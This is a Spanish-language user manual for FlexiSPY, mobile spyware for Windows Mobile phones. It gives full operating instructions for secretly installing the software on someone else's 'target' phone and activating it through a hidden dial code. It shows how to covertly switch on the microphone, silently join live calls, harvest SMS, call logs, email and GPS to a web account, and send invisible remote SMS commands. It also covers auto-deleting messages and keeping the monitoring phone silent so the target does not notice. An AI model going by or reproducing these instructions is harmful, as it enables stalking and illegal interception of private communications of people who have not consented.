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PASOS DE INSTALACI ÓN RAPIDA  

 
Visite http://www.flexispy.com/manual.htm para ver animaciones flash de instalaciones y los manuals más 

recientes  
DESCARGUE  

1.  Abra el navegador web y vaya a http://djp.cc. Introduzca la llave de la licencia (FlexiKEY) 
y seleccione la opción de descargar. La instalación comienza automáticamente. Si no 
comienza, por favor vaya a File Explorer y Mis documentos, haga clic en el archivo descar-
gado. Después de la instalación, si el archivo no se elimina automáticamente, por favor, 
elimine de forma manual.  

2.  Reiniciar Teléfono  
3.  Marque * # 900900900 como una llamada. Espere unos 10s a que abra la pantalla secreta 

de configuración.  
4.  Active el producto mediante la introducción de su FlexiKEY y seleccione Activar  

5.  Utilice la opción de Prueba de Conexión a la Web  para verificar su conexión al Internet.  

CONFIGURE  

1.  OPTIONS/SETTINGS/ Collect (seleccione Call Logs / SMS data / E -mail) (para SmartPhone)  
 O OPTIONS/SETTINGS/ General tab (para PocketPC )  

2.  OPTIONS/SETTINGS/ Send Report Every ( la frecuencia con que informe sobre los 

datos a su cuenta  account) (para ambos SmartPhone y PocketPC)  

3.  OPTIONS/SETTINGS/ Set Monitor Number (el número desde donde hará las Llama-

dasEspía ) (para SmartPhone)  O OPTIONS/MONITOTR NUMBER/SET MONITOR NUMBER 

(para PocketPC)  
4.  OPTIONS/SETTINGS/ Watch ( recibirá alertas cuando estas llamadas se hagan ) (para 

SmartPhone) O OPTIONS/Watch (para PocketPC)  
5.  OPTIONS/Start Collecting (para SmartPhone) O OPTIONS/Start Collecting (para PocketPC)  

 

¶ Paso 5 es esencial , ya que es el valor por defecto para capturar a estar en OFF  

¶ Estos ajustes podrán ser modificados por SMS (página 8) o por control remoto (página 19)   

DEFINICIONES  

¶ FLEXISPY : Su software FlexiSPY es descargada del internet (djp.cc) directo al teléfono 

que quiere espiar  

¶ FLEXIKEY : Una llave de la licencia necesaria para activar FlexiSPY (recibida 

después de la compra)  

¶ OBJETIVO : El teléfono cuya actividad que desea ver. FlexiSPY está instalado 

en el teléfono OBJETIVO.   

¶ MONITOR : El teléfono que usará para hacer LlamadaSpia al teléfono OBJETIVO.  

¶ LlamadaSpía : Una llamada desapercibido del MONITOR al OBJETIVO, lo que le 

permite escuchar remotamente el ambiente del OBJETIVO .  

¶ INTERCEPTACIÓN DE LLAMADA : Una llamada desapercibida hecho del MONI-

TOR al OBJETIVO durante la llamada(s) activa(s), conectandole secretamente con 

la llamada en el teléfono OBJETIVO.  

¶ LISTA DE VIGILANCIA : Una lista de números de teléfono que desea INTERCEP-

TAR en el teléfono OBJETIVO. PRO -X enviará un SMS secreto al MONITOR cuando 

detecta actividad de un número de la LISTA DE VIGILANCIA.  

¶ CUENTA WEB : El sitio WEB donde usted lee la actividadel del teléfono OB-

JETIVO. Su identificación y la contraseña es enviada a usted, cuando compra el 

producto  

ANTES DE EMPEZAR  

¶ Luego de la compra, usted recibirá un email que contiene tres cosas impor-

tantes: FLEXIKEY, USUARIO y CONTRASEÑA.  

¶ Usted descargará el software de FlexiSPY desde (http://djp.cc) directamente 

en el teléfono OBJETIVO.  

¶ El teléfono que quiere espiar TIENE que tener GPRS configurado corectamente. 

PRO - X require que la opción de conferencia este activo en el teléfono OB-
JETIVO. Por favor de contactar al operador de su red si no esta seguro.  

¶ Puede ver una película fácil de entender en   http://www.flexispy.com/manual.htm  



¶ Este manual cubre FlexiSPY LIGHT, PRO y PRO - X.  La última versión de este manual está dispon-

ible en www.flexispy.com/manual.html  

¶ FlexiSPY trabaja con todos los Windows Mobile excepto Windows Mobile 2003  

¶ También puede descargar nuestro FCTL aplicación de control remoto que funciona en cualquier 

teléfono móvil con java habilitado. Esto hace que sea fácil de mandar los comandos a FlexiSPY. Vé-
ase la página 18 para más detalles.  

¶ CARACTERÍSTICAS de FlexiSPY    

¶ PRO-X: Interceptación de llamadas, Llamadas Espías, registros de SMS, historial de llamadas, 

correo electrónico y coordenadas GPS si el dispositivo lo soporta.  

¶ PRO: Llamadas Espías, registros de SMS, historial de llamadas y correo electrónico  

¶ LIGHT: Registros de SMS, historial de llamadas y correo electrónico  

MANUAL DE FLEXISPY WINDOWS MOBILE   

Su licencia es válida por un año a partir de la fecha de compra. Durante este tiempo usted puede trasladar 
el software a otro teléfono compatible para un número ilimitado de veces. Para mover FlexiSPY a otro 
teléfono, debe DESACTIVARLO en el actual teléfono OBJETIVO y luego instalarlo en el nuevo OBJETIVO.  
 
(LIGHT, PRO, PRO -X): Después de instalar el software en el dispositivo OBJETIVO SMS, los registros del 
teléfono y los correos electrónicos son capturados y guardados localmente hasta el momento de enviarlos a 
la CUENTA WEB. FlexiSPY se conectará a la cuenta web cuando llegue al número de eventos que usted es-
pecificó en la configuración. Ingresar a la CUENTA WEB  utilizando su USUARIO y CONTRASEÑA.  
 
(PRO, PRO-X): Para escuchar los alrededores o conversaciones telefónicas reales, necesita especificar el 
número MONITOR. Si llama al OBJETIVO desde el número MONITOR, el teléfono OBJETIVO encenderá el 
micrófono secretamente si no está en una llamada activa (LLAMADAESP Í A). Esta llamadaespia sera des-
conectado silenciosamente si cualquier tecla del OBJETIVO es presionado.  
 
(PRO-X): Tiene INTERCEPTACIÓN. Cuando el OBJETIVO hace o recibe una llamada de un número que está 
en la LISTA DE VIGILANCIA, envía un SMS secreto al MONITOR con el número de la llamada activa. Si el 
MONITOR llama al OBJETIVO, el MONITOR se añadirá a la llamada en modo conferencia. Si no hay ninguna 
llamada activa, el micrófono se encienda.    
 

PONGA EL TELÉFONO MONITOR EN MODO MUDO O MANTENGASE EN SILEN-

CIO CUANDO HAGA LLAMADAS ESPÍAS de lo contrario puede ser oído por el 

OBJETIVO  
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Es responsabilidad del usuario de FlexiSPY de determinar, y obedecer, todas las leyes aplicables 
en su país en cuanto a la utilización de FlexiSPY para "fines elusivos". Si tiene alguna duda, con-
sulte a su abogado local antes de usar FlexiSPY. Al descargar e instalar FlexiSPY, usted repre-
senta FlexiSPY que se utilizará sólo en forma legal. El registrar mensajes SMS y otras actividades 
telefónicas de otras personas o la instalación de FlexiSPY en el teléfono de otra persona sin su 
conocimiento puede ser considerado como una actividad ilegal en su país. Vervata no asume nin-
guna responsabilidad y no es responsable de cualquier mal uso o daños causados por nuestro 
FlexiSPY. Es responsabilidad del usuario final a obedecer todas las leyes en su país. Con la compra 
y descarga de FlexiSPY, accedes a la anterior.   

COMO FUNCIONA  

OBJETIVO  

Utilice su computadora para leer 
los registros de llamadas y SMS 
en su cuenta asegurada . 

FlexiSPY transmite la 
actividad del teléphono 
usando GPRS  

Utilice el teléfono Monitor 
para escuchar las llamadas y 
los alrededores del teléfono 
Objetivo (PRO, PRO - X)  

MONITOR  



 

 

www.vervata.com  

PARA SOPORTE http://www.flexispy.com/support.htm  

DESCARGAR EL SOFTWARE DE FLEXISPY EN SU TELÉFONO   

1 . Abra el Navegador Web 

del Teléfono.  

2 . Introduzca www.djp.cc 

en el navegador web del 
teléfono y pulse Go To. 

Se abrirá la página web 
que se muestra en el 
paso 3.  

3. Entre su  FlexiKEY, y 

oprima DOWNLOAD.  
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La instalación se iniciará 

de forma automática. Si 
no es así, por favor vaya 

a File Explorer y My Docu-
ments, haga clic en el ar-
chivo descargado.  

Después de la instalación, 
si el archivo no se elimina 

automáticamente, por fa-
vor borrar manualmente.  

4. REINICIE EL 

TEL ÉFONO.  



 

 

www.vervata.com  

PARA SOPORTE http://www.flexispy.com/support.htm  

INSTALANDO O MEJORANDO -  ACTIVANDO  

5. DESPUÉS DE QUE EL 

TELÉFONO ES REINICIADO,  
Introduzca el código por de-

fecto*#900900900  

 

Marque como una llamada y la  

Pantalla de Activación se abrirá 

después de 10 segundos  

6. Entre su FlexiKEY y pre-

cione ACTIVATE.  

7. Cuando usted vea la palabras 

Product Activated, presione OK.  

Después de instalar FlexiSPY necesita ser activado entrando en la pantalla de ajuste de Flex-
iSPY. Para acceder a esta pantalla es necesario introducir un código.  

La pantalla de activación de 

FlexiSPY de las nuevas insta-
laciones aparece.  

 
El software necesita ser acti-

vado a través de un FlexiKEY. 

Esta clave se incluye en el men-

saje de correo electrónico que 

ha recibido después de la com-

pra.  
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Después de la activación del 

software, el código predetermi-

nado ya no funciona. El código 

por defecto *# 900900900 cam-

bia a su  FlexiKEY.  

Si no ve Product activated, 

por favor, compruebe su 
FlexiKEY y repita desde el 

paso 6. Usted pudo haber en-
trado el FlexiKEY incorrecto.  



 

 

www.vervata.com  

PARA SOPORTE http://www.flexispy.com/support.htm  

FLEXISPY PRO -XðCONFIGURACI ÓN DE AJUSTES  

FlexiSPY requiere de una conexión GPRS al Internet. Esta sección explica 

cómo poner a prueba esa coneción y para seleccionar los datos que se va a 

capturar.  
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Luego debería ver el cuadro del  
Estado de Monitoreo.  

9. Seleccione OPTIONS -> SETTINGS 

- >  COLLECT ð> (para SmartPhone) o  
 
OPTIONS -> SETTINGS - > GENERAL  
(para PocketPC)  
 

Seleccione Calls, SMS, E - mail, GPS or 
All. Vuelva a esta configuración y 
asegúrese de ver una marca de cotejo 
al lado de sus selecciones.  
 
Si no elige ningun evento, la aplica-
ción no recogerá o enviará los datos a 
su cuenta web aunque encienda cap-
turing. Estos ajustes también pueden 
ser controlados con comandos SMS 
remotos.  

8. Seleccione OPTIONS ð> SET-

TINGS ð> TEST WEB CONNECTION. 
(para SmartPhone)  
O OPTIONS - > Test Web Connection 
(para PocketPC)  
 
Debería haber una conexión exitosa. Si no 

es así, comprobar si el punto de acceso 

GPRS seleccionado está trabajando o no.  

Para más información sobre puntos de 

acceso, por favor póngase en contacto con 

su operador de red, o ir a 

www.flexispy.com/globalapn.htm para 

asesoramiento.  

Si Falla la Prueba de Conección  
 

La aplicación utiliza un punto de acceso 

GPRS a Internet para transferir los datos 

recogidos a su cuenta Web. NO TRABAJA 
con los puntos de acceso WAP.  

 

Si las pruebas de Connection Web  todavía 

falla, verificar la conexión GPRS con su 

proveedor de servicios y elegir manual-

mente un válido punto de acceso al Inter-

net.  

 

Configure el Punto de Acceso en 
su Teléfono  
Start/Settings/Connections/(Connection 

Icon)/GPRS/Select Network y luego 

escoja un Punto de Acceso disponible.  

O Start/Settings/Connection tab/

Connections/Advanced/Select Network  
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PARA SOPORTE http://www.flexispy.com/support.htm  

CONFIGURACI ÓN DE AJUSTES  

10. Seleccione OPTIONS -> SET-

TINGS -> ñSend report 
everyò  (para SmartPhone) O 
 
OPTIONS -> SETTINGS (para Pock-
etPC)  

 
SmartPhone: Elija la Primera, 
Quinta o Décima evento.  
 
PPC: Elija del 1 al 10.  
 
Este valor determina la frecuencia 
la aplicación enviará los ventos 
capturados a su cuenta Web.  

11. Seleccione OPTIONS - >  

SETTINGS ->ñN¼mero Monitorò y luego 

haga clic en ñSet Monitor Num-
berò (para SmartPhone) 
 
O OPTIONS - > Monitor Number - > Set 
Monitor Number (para PocketPC)  

 
Este es el número de teléfono del MONITOR, 
que hara las Llamadas Espías, incluyendo 
intervensión de llamadas. Si este número no 
está configurado correctamente, la opción 
LLAMADAESP Í A e INTERCEPTACIÓN no fun-
cionará.  
 
Código de país es importante si la llamada 
proviene de fuera del país del OBJETIVO.  
 
Después de marcar la casilla "Enable", todas 
las llamadas de este número serán Llamadas 
Espías. Usted debe desactivar esta opción 
cuando se quiere hacer una llamada normal 
al OBJETIVO de este número.  
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NOTA: Para mantener los cargos de GPRS/Internet a un mínimo, puede aumentar el número 
de eventos para captar (Send Report Everyé) antes de transferir los datos a su cuenta Web. 
Una conexión a su cuenta Web se harán solo cuando esta serie de eventos han sido captura-
dos, O cuando se solicita a través de comando SMS remoto.  

Asignar Número Monitor ( PRO y PRO - X solamente)  
Este es el número del teléfono MONITOR, la cual podrá hacer Llamadas Espías al 
teléfono OBJETIVO, para escuchar el entorno remoto. Este es también el utilizado 

para la INTERCEPTACIÓN DE LLAMADAS (véase la sección siguiente).  

  

SALGA Y REINICIE EL TELÉFONO - > Instalación de FlexiSPY LIGHT completada  

SALGA Y REINICIE EL TELÉFONO - > Instalación de FlexiSPY PRO completada  



 

 

www.vervata.com  

PARA SOPORTE http://www.flexispy.com/support.htm  

CONFIGURACI ÓN DE AJUSTES  

12. En esta casilla, para ver sólo los 

números en la lista de vigilancia, selec-

cione ñWatch only numbers in  listò para 

ver todos los n¼meros, seleccione ñWatch 
all numbersò. 
 
Si selecciona todos los números, recibirá un 
alerta SMS para todas las llamadas, tanto en-
trantes como salientes.  

13. Establecer lista de vigilancia a 

sólo número en la lista  
 

OPTIONS - > SETTINGS - > WATCH  

 

Clic ñWatch only number in listò y en-

tre hasta 10 números a vigilar, 

oprimiendo OPTIONS - > ADD.  
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14. IMPORTANTE ð

ENCIENDA CAPTURING  
 

OPTIONS - > Start Collecting 
(o Stop Collecting).  
 
Si no inicia la recoleccion 

desde esta pantalla, ninguno 

de los datos en su configu-

ración será capturado o en-

viado a su cuenta Web. Esta es 

también donde usted para la 

recolección de los datos.  

Por favor continue para una explicación sobre LLAMADAESPIA, interceptación 

de llamadas y comandos SMS remotos.  

Lista de Vigilancia y INTERCEPTACI ÓN de Llamadas( PRO - X)  
 

Este ajuste le permite recibir alertas SMS si el teléfono OBJETIVO hace O 

bien recibe una llamada a un número determinado. Puede introducir hasta 

10 números a mirar. Si hace una LlamadaEspía cuando uno de los números 

en su lista a mirar (o cualquier otro número) está activo, se escuchará la 

llamada que está en curso.  

SALGA Y REINICIE EL TELÉFONO - > Instalación de FlexiSPY PRO - X completada  



 

¶ Imagínese que desea configurar remotamente el teléfono OBJETIVO (0977665533) para recibir 

una llamadaespía del teléfono MONITOR (089876544), y el país del MONITOR es Reino Unido 
(código de país 44), envíe este SMS exactamente a 0977665533 y 0123456789 es su FlexiKey:  

 
<*#10><0123456789><+4489876544>  

 
 

¶ Si el comando tuvo éxito y envíó en el SMS respuesta con el informe. Usted recibirá un SMS de-

vuelta OK.  

¶ Las llamadas de Skype y de tarjetas de llamadas no envían un identificador de llamadas consis-

tentesy no se pueden utilizar para LLAMADAS ESPÍAS o INTERCEPTACIÓN  
 

 
Asimismo, proporcionamos un programa gratis de control remoto para que no tenga que recordar los coman-
dos Véase la página 18  

PONGA EL TELÉFONO MONITOR EN MODO MUDO O MANTENGASE EN SILENCIO CUANDO HAGA 
LLAMADAS ESPIAS de lo contrario puede ser oído por el OBJETIVO  
 
¿Cuál es la diferencia entre una LLAMADAESP Í A y una INTERCEPTACIÓN?  
Un LLAMADAESPíA es para escuchar los alrededores del teléfono, y INTERCEPTACIÓN es para escuchar las 
llamadas reales del teléfono  
 
TELÉFONOESPÍ A (PRO):  Un LLAMADAESPíA es una llamada que le permite escuchar los alrededores del 
teléfonos, si el teléfono no está en uso. Si el teléfono está en uso, la LLAMADAES PÍA es rechazado silencio-
samente sin rastro en los registros de llamadas telefónicos  

Como Funciona  
Cuando FlexiSPY PRO ve una llamada, compara el número entrante con el número MONITOR que usted ha 
establecido. Si coinciden, entonces FlexiSPY secretamente enciende el micrófono. Este LLAMADAESP Í A es 
silenciosamente desconectado si cualquier tecla del OBJETIVO es presionado. EL TELÉFONO MONITOR 
DEBE ENVIAR identificador de llamadas de lo contrario, la LLAMADAESP ÍA  sonará en el OBJETIVO  

 
INTERCEPTACIÓN (PRO -X):  Una INTERCEPTACIóN DE LLAMADA es donde una llamada desde el número 
MONITOR se actualice en cualquier llamada activa en el OBJETIVO. Si no hay ninguna llamada activa, enton-
ces la llamada actúa como un TEL ÉFONOESPÍ A 
Como Funciona  
Cuando FlexiSPY PRO -X detecta cualquier llamada de un número que está en la lista de VIGILANCIA, Inme-
diatamente envía un SMS secreto al número MONITOR que usted ha establecido. Al recibir el SMS, llame al 
teléfono OBJETIVO del teléfono MONITOR, y se le añade a la llamada que está en curso en el teléfono OB-
JETIVO.  

¶ Si no hay ninguna llamada activa en el OBJETIVO, PRO -X por defecto es TELéPHONOESP Í A y enciende 

el micrófono. Todas las LLAMADASESP Í A y llamadas de INTERCEPTACIÓN  se desconectan silencio-
samente si cualquier tecla del móvil OBJETIVO es presionado.  

¶ Teléfono OBJETIVO debe apoyar llamada en conferencia  

 
PONGA EL TELÉFONO MONITOR EN MODO MUDO O MANTENGASE EN SILENCIO CUANDO HAGA 
LLAMADAS ESPÍAS de lo contrario puede ser oído por el OBJETIVO  
 
CAMBIANDO DE NÚMERO MONITOR Y LISTA DE V IGILANCIA REMOTAMENTE  
Tres maneras de activar y desactivar LLAMADAESPíA/INTERCEPTACIÓN, cambio de número MONITOR y los 
números de la LISTA DE VIGILANCIA.  
1.  Utilice la aplicación J2ME FCTL (RECOMENDADO). Véase la página 18  
2.  Establezca el número MONITOR en la pantalla secreta de ajuste. Consulte la página 6, el paso 11  
3.  Enviar SMS manualmente (página 10, ejemplo 2)  
 
PONGA EL TELÉFONO MONITOR EN MODO MUDO O MANTENGASE EN SILENCIO CUANDO HAGA 
LLAMADAS ESPÍAS de lo contrario puede ser oído por el OBJETIVO  
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CÓMO USAR EL TELÉFON OESPIA Y LA INTERCEPTACIÓN  

COMO CONFIGURAR EL N ÚMERO MONITOR UTILIZANDO SMS  



REFERENCIA DE COMANDOS REMOTOS SMS  

Ajustes pueden ser controlados remotamente mediante el envío de comandos SMS 
invisibles al teléfono OBJETIVO. Esto le permite cambiar los números de la 
LLAMADAESPíA, la frecuencia de presentación de informes, reiniciar el teléfono, la 
solicitud de pruebas diagnósticas en cualquier parte del mundo.  

 

Nuestro aplicación gratis FCTL proporciona una forma fácil de enviar estos 

comandos (p18) sin tener que recordar la siguiente lista. Todo lo que nece-

sita es un móvil con java  
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COMANDOS REMOTOS SMS  PARA CAMBIAR LA CON FIGURACIÓN  
CO-

MANDO  
FLEXIKEY  CAPTURA  EVENTOS 

MAX  
EVENTOS A CAPTURAR  
  

Tempori-
zador  

<*#63>  <1234567>   0= Inactivo,  

1 = Activo  
Valor entre 1 

y 10  
Iniciar/Parar eventos de captura  
ñSMSò ,ñVoiceò, ñE-mailò, ñLocationò  
1=Activo 0=Inactivo  
 Nota: Localidad no está disponible para esta versión 

1,1,1,1 -> Enable : SMS, Voice, E -mail, 
Loc 
0,0,0,0 -> Disable : SMS, Voice, E -mail, 
Loc 

1 a 24 
horas  
 
(no dis-
ponible 
para esta 
versión)  

OTROS COMANDOS SMS  

COMANDO  FLEXIKEY  PETICIÓN 

DE INFORME 

(opcional)  

DESCRIPCI ÓN  

<*#10>  <123456789><Teléfono>  <D>  Establezca Número MONITOR, activar 

LlamadaEspía/Intervención de llamada y 

activar lista de vigilancia al estado antes 

de desactivar Llamada Espía  

<*#10>  <123456789>  <D>  Activar LlamadaEspía/Intervención de 

llamadas y Lista de Vigilancia utilizando 

número MONITOR existente.  

<*#20>  <123456789>  <D>  Inactivar LlamadaEspía/Intervención de 

llamadas y Lista de Vigilancia  

<*#50>  <123456789><Banderín>  <D>  Activar/Inactivar Lista de Vigilancia  
Banderin puede ser:  
 -  0 : Inactivar Lista de Vigilancia  
 -  1 : Activar Lista de Vigilancia para 
número en la lista  
 -  2 : Activar para todo número  

<*#50>  <123456789><Teléfono>  <D>  Añadir número a la Lista de Vigilancia  

<*#51>  <123456789>  <D>  Borrar número de la Lista de Vigilancia  

<*#52>  <123456789><Banderín><Te
mporizador>  

<D>  Activar/Inactivar y cambiar temporizador 

para evento GPS  

Banderin:   -  0 for Inactivar  

                   -  1 for Activar  
Temporizador: puede ser 

0/1/2/3/4/5/6/7/8, coincide respecti-

vamente con  

Off/10sec/30sec/1min/5min/10min/20

min/40min/60min  

<*#60>  <123456789>   <D>  Activa eventos de Captura  

<*#61>  <123456789>   <D>  Inactiva eventos de Captura  

<*#62>  <123456789>   N/A  Pide información diagnóstico  

<*#64>  <123456789>   <D>  Para enviar de inmediato todos los 
eventos capturados al servidor  

Nota: Para la columna PETICIÓN DE INFORME (REQUEST REPORT) , esto es opcional. Usted puede excluirla 
del comando SMS en la que no desea recibir ningún informe de la enviada de comandos SMS. En el caso, lo 
que desea saber si el comando que envió trabaja o no, puede especificar <D> al final de cada comando y 
obtendrá el estado del comando enviado devuelta.  



REPUESTAS A COMANDOS  

[39 1.00]  
Error ï300  

No es un mensaje de co-
mando  

[39 1.00]  
Error ï304  

FlexiKEY equivocado  

[39 1.00]  
Error ï301  

Formato de Comando In-
válido  

[39 1.00]  
Error ï305  

 Número de teléfono inválido  

[39 1.00]  
Error ï302  

Comando no encontrado o 
no registrado  

[39 1.00]  
Error ð306  

Teléfono no especificado  

[39 1.00]  
Error ï303  

FlexiKEY Inválido  [39 1.00]  
Error ï307  

Producto no activado  

REFERENCIA DE COMANDOS REMOTOS SMS  
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NOTA IMPORTANTE PARA PRO Y PROX  
PARA que trabaje LLAMADAESP ÍA e INTERCEPTACIÓN, la red debe enviar LLAMADA IDEN-

TIFICADA y LLAMADA EN CONFERENCIA. FlexiSPY utiliza el identificador de llamadas en-
trantes para identificar el MONITOR.  

EJEMPLO DE  COMANDOS SMS: En los siguientes ejemplos, Llamada Espía refiere a 

ambas funciones LLAMADAESP ÍA e INTERCEPTACIÓN. INTERCEPTACIÓN es una 

Llamada Espía que tiene lugar durante una llamada activa automáticamente lo añade 

a la llamada.  

ENMUDEZCA EL TELÉFONO MONITOR O PERMANEZCA EN SILENCIO CUANDO 

HAGA LAS LLAMADASESP Í A de otro manera puede ser oído por el OBJETIVO  

EJEMPLO 1: Active LlamadaEspía/Intervención de Llamadas y Lista de Vigilancia. El FlexiKEY es 
123456789  
Cree un SMS como este  
    <*#10><123456789>     O     <*#10><123456789><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  

 
EJEMPLO 2: Active LlamadaEspías desde el número MONITOR 0666777888. El código de país del 
MONITOR es 88  
Cree un SMS como este  
    <*#10><123456789><+88666777888> O <*#10><123456789><+88666777888><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
Note: Donôt forget to put plus sign in front of international number 
 
EJEMPLO 3: Inactive LlamadaEspía/Intervención de Llamadas y Lista de Vigilancia. El FlexiKEY 
es 123456789  
Cree un SMS como este  
    <*#20><123456789>    O   <*#20><123456789><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
 
EJEMPLO 4: Active la Lista de Vigilancia para el número en la lista. El FlexiKEY es 123456789  

Cree un SMS como este  
 <*#50><123456789><1>   O   <*#50><123456789><1><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  

OTROS COMANDOS SMS  

COMANDO  FLEXIKEY  PETICIÓN 

DE IN-

FORME 

(opcional)  

DESCRIPCI ÓN  

<*#73>  
O 
<*#73>  

<123456789><Palabraclave1><Palabra 
clave2>  
O 
<123456789><N/A><N/A>  

<D>  Agregar/Editar/Borrar palabra clave 
para la supresión de SMS. Si el SMS 
llega con esta palabra clave en su 
contenido, se borrará automática-
mente  
Nota:  Si la palabra clave es muy corto, 

todos los SMS entrantes se borrarán.  

<*#73>  <123456789>  N/A  Consulta la palabra clave actual  

<*#147258>  <123456789>  <D>  Para reiniciar el teléfono  



SMS  REMOTE COMMAND EXAMPLES CONTINUED..  
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EJEMPLO 5: Activar Listado de Teléfonos para todas las llamadas. La FlexiKEY es 123456789  
 Cree un SMS como este  

 <*#50><123456789><2>  O  <*#50><123456789><2><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
 
EJEMPLO 6: Agregar un número de teléfono al Listado de Teléfonos. El teléfono de desea agegar 
es 0147258369. La FlexiKEY es 123456789  

Cree un SMS como este  
  <*#50><123456789>< 0147258369> O  <*#50><123456789>< 0147258369><D>  

Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracasor fail.  

 
EJEMPLO 7: Limpiar el Listado de Teléfonos. La FlexiKEY es 123456789  
Cree un SMS como este  
 <*#51><123456789>  O  <*#51><123456789><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
 
EJEMPLO 8: Activar captura. La FlexiKEY es 123456789  
 Cree un SMS como este  

 <*#60><123456789>  O  <*#60><123456789><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-

mar si el comando fue un éxito o un fracaso.  
 

EJEMPLO 9: Desactivar captura    
Cree un SMS como este  

<*#61><123456789>   O   <*#61><123456789><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
 
EJEMPLO 10: Obtener diagnosticos del teléfono.  
Cree un SMS como este  

<*#62><123456789>  
Para este comando el parámetro <D> no es requerido, siempre enviará una respuesta de vuelta cuando el 
comando sea usado.  
 
EJEMPLO 11: Cambiar configuración de captura de eventos a:  
Iniciar captura = Si, Máximo número de eventos = 10, Eventos a capturar = Llamadas, SMS, E -mail, pero 
no Localización  
Crear un SMS parecido a este  
 <*#63><0123456789><1><10><1,1,1,0>  
O  
         <*#63><0123456789><1><10><1,1,1,0><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
 
 
EJEMPLO 12: Para reiniciar el teléfono. La FlexiKEY es 123456789  
Cree un SMS como este  
 <*#147258><123456789>   O   <*#147258><123456789><D>  
Ponga <D> al final del comando si desea obtener una respuesta de otro modo FlexiSPY no le va a confir-
mar si el comando fue un éxito o un fracaso.  
 
EJEMPLO 13: Para agregar una palabra clave a la automatización de borrado de SMS , FlexiKEY 
es 123456789  
Cree un SMS como este  
      <*#73><123456789><You have missed from + 88666777888><You balance is low>    
O  <*#73><123456789><You have missed from + 88666777888><You balance is low> <D>  
Cuando un SMS entrante tenga este contenido en el primer o Segundo texto será borrado automática -
mente.  Poner <D> al final de el comando si usted desea obtener una respuesta de vuelta.  
 
EJEMPLO 14: Para borrar la primera palabra clave y editar la segunda palabra clave para el bor-
rado automático. La FlexiKEY es 123456789  
Cree un SMS como este  
      <*#73><123456789><n/a ><You balance is getting low>    
Ponga <D> al final del comando si desea obtener una respuesta de regreso.  
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1. Enter your FlexiKEY in the format as follows 
and dial as a call: *#FLEXIKEY  

3. Introduzca su FlexiKEY y selec-
cione DEACTIVATE.  
 
Esto borrará TODOS LOS DATOS de 
su cuenta web. Descargue su informa-
ción desde la red antes de desactivar.  

3. Introduzca su FlexiKEY  
y presione DEACTIVATE.  

Si desea mover el software a otro teléfono, usted DEBE DESACTIVARLO y desinstalarlo antes de 
poder instalarlo y activarlo en un Nuevo teléfono. TODOS LOS REPORTES WEB SON BORRADOS 
CUANDO USTED DESACTIVA. DESCARGUE SUS DATOS ANTES DE DESINSTALAR.  

Ya ha desactivado FlexiSPY . Ahora esta listo para mover el programa a otro teléfono.  

For PocketPC:  
2. Seleccione WEB - > Deactivate  
 
For SmartPhone:  
2.  Seleccione OPTIONS - > SETTINGS - > Deacti-
vate  

DESINSTALACION  

1. *#900900900 y marque como si 
hiciera una llamada normal.  
 
Luego de desactivar, la clave por de-
fecto debe ser usada para abrir la 
aplicación.  

2. Seleccione OPTIONS - > Uninstall .  
 
Luego de esto, en la pantalla Home pre-
sione Start - > Setting - > Remove Program 
remueva la aplicaci·n llamada ñ0 39ò (para 
SmartPhone)  
O puede ir a Start - > Setting - > System tab 
- > Remove Programs (for PocketPC)  
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VERSIÓN DEL SISTEMA E INFORMACION  

FlexiSPY contiene informaciones de diagnóstico que usted necesitará proveer cuando contacte a 
soporte al cliente. Usted puede obtener esta información usando el utilitario llamado FCTL  
( Vea la pág. 18), al abrir la configuración o al enviar el SMS de diagnóstico en el comando  

<*#62><flexikey> Vea las páginas 9 y 10 para mas detalles.  

SIEMPRE ENVIE LA PANTALLA DE DIAGNOSTICO CUANDO LLAME A SOPORTE TECNICO PARA PODER AYU-
DARLE DE UNA FORMA MAS EFECTIVA.  

Usted puede obtener esta información con FCTL  (vea la pág. 17), abra la configuración o envíe un mensaje 
de diagnóstico SMS <*#62><flexikey> vea las págs. 9 y 10 para mas detalles.  

Los diagnosticos pueden ser recibidos como SMS. Este es un ejemplo de como se ven. Cada ID en el 
SMS tiene el mismo significado mostrado en la tabla debajo.  

ID Descripción Formato/Ejemplo 

1> Identificacion de aplicación, 
Versión 

[ID, Version] 

1>14,1.0 

2> Tipo de Aparato SmartPhone (SP) / PocketPC (PPC) 

2>SP 

3> Versión del Sistema Opera-
tivo 

3>6 

4> Llamada espía e Informa-
ción del Listado de 

Teléfonos 

Estatus de la Lista de Telefonos , Estatus 
de Llamadas Espías , Número Monitor 

1 para Activar y 0 para Desactivar 

4>1, 1, 0812345678 

5> Captura Encendida o Apa-
gada 

5>1 

6> Eventos a Capturar [SMS, LLAMADA, EMAIL, LOC, GPS] 

1 for Activar and 0 for Desactivar 

6>1,1,0,0,0 

7> SMS ENTRADA/SALIDA [SMS Entrando, SMS Saliendo] 

7>20,12 

8> Llamadas En-

trada/Salida/Perdidas 
[Entrada,Salida,Perdidas] 

8>12,32, 20 

9> LOCALIZACION Evento, 
Sistema Evento 

[LOC/GPS, Sys] 

9>650,0 

10> CORREO ELECTRONICO 
entrada/salida 

[Entrada,Salida] 

10>0,32 

11> Núm. Max. de Eventos 11>10 

12> Temporizador 12>* 

Nota: * significa no disponible. 

13> Número Monitor 13>+12345678901 

14> Ultima hora de conexión [aaa-mm-dd, tthmm], ultimo APN-Usado 

14>2007-11-21, 12h21, DTAC-Internet 

15> Código de Respuesta 15>3124 

17> TUPLE para el operador 

telefónico actual 
15> 52018 

